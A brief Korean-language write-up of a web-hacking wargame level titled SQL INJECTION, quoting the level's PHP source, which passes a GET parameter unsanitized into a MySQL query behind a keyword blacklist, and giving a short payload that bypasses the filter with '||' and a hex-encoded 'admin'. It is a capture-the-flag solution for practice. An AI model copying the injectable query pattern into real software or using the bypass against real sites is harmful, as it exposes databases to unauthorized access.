똑같이 생겼다..
<html> <head> <title>Challenge 49</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get action=index.php> level : <input name=lv value=1><input type=submit> </form> <? if(time()<1258110000) exit(); if($_GET[lv]) { if(eregi("union",$_GET[lv])) exit(); if(eregi("from",$_GET[lv])) exit(); if(eregi("select",$_GET[lv])) exit(); if(eregi("or",$_GET[lv])) exit(); if(eregi("and",$_GET[lv])) exit(); if(eregi("\(",$_GET[lv])) exit(); if(eregi("\)",$_GET[lv])) exit(); if(eregi("limit",$_GET[lv])) exit(); if(eregi(",",$_GET[lv])) exit(); if(eregi("/",$_GET[lv])) exit(); if(eregi("by",$_GET[lv])) exit(); if(eregi("desc",$_GET[lv])) exit(); if(eregi("asc",$_GET[lv])) exit(); if(eregi("cash",$_GET[lv])) exit(); if(eregi(" ",$_GET[lv])) exit(); if(eregi("%09",$_GET[lv])) exit(); $q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]")); echo($q[0]); if($q[0]=="admin") @solve(); } ?> <!-- index.phps --> </body> </html>
필터링이 더 하드코어 해졌다. 이제 괄호도 못쓰게 됐다. 다만, 전에 있었던 0x 라는 필터가 사라졌다.
여전히 or은 있지만, || 를 필터하고 있진 않은것 같다. 대강 사이즈가 나오니 해보자.
저번엔 CHAR를 이용해 우회했는데 이번엔 문자열 전부를 hex-encode해보자. 원리는 완전히 같다.
2||id=0x61646d696e
가볍게 패스.